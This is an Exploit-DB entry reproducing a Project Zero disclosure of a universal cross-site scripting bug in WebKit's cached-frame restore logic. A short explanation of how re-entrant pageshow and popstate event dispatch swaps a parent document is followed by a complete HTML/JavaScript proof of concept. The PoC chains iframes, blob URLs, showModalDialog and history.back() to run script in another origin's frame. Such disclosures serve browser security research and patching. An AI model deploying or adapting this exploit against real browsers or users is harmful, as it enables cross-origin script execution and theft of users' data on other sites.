WebKit - 'enqueuePageshowEvent' / 'enqueuePopstateEvent' Universal Cross-Site Scripting

EDB-ID:

42067




Platform:

Multiple

Date:

2017-05-25


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<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1151

Here is a snippet of CachedFrameBase::restore which is invoked when cached frames are restored.

void CachedFrameBase::restore()
{
    ...
    for (auto& childFrame : m_childFrames) {
        ASSERT(childFrame->view()->frame().page());
        frame.tree().appendChild(childFrame->view()->frame());
        childFrame->open(); <----- (a)
    }
    ...
    // FIXME: update Page Visibility state here.
    // https://bugs.webkit.org/show_bug.cgi?id=116770
    m_document->enqueuePageshowEvent(PageshowEventPersisted);

    HistoryItem* historyItem = frame.loader().history().currentItem();
    if (historyItem && historyItem->stateObject())
        m_document->enqueuePopstateEvent(historyItem->stateObject());

    frame.view()->didRestoreFromPageCache();
}

enqueuePageshowEvent and enqueuePopstateEvent are named "enqueue*", but actually those *dispatch* window events that may fire JavaScript handlers synchronously. 

At (a), |open| method may invoke |CachedFrameBase::restore| method again. Thus, the parent frame's document may be replaced while |open| is called in the iteration, the next child frame is attached to the parent frame holding the replaced document.

PoC:
-->

<html>
<body>
<script>

function createURL(data, type = 'text/html') {
    return URL.createObjectURL(new Blob([data], {type: type}));
}

function navigate(w, url) {
    let a = w.document.createElement('a');
    a.href = url;
    a.click();
}

function main() {
    let i0 = document.body.appendChild(document.createElement('iframe'));
    let i1 = document.body.appendChild(document.createElement('iframe'));

    i0.contentWindow.onpageshow = () => {
        navigate(window, 'https://abc.xyz/');

        showModalDialog(createURL(`
<script>
let it = setInterval(() => {
    try {
        opener.document.x;
    } catch (e) {
        clearInterval(it);
        window.close();
    }
}, 10);
</scrip` + 't>'));

    };

    i1.contentWindow.onpageshow = () => {
        i1.srcdoc = '<script>alert(parent.location);</scrip' + 't>';
        navigate(i1.contentWindow, 'about:srcdoc');
    };

    navigate(window, createURL(`<html><head></head><body>Click anywhere<script>
window.onclick = () => {
    window.onclick = null;

    history.back();
};

</scrip` + `t></body></html>`));
}

window.onload = () => {
    setTimeout(main, 0);
};

</script>
</body>
</html>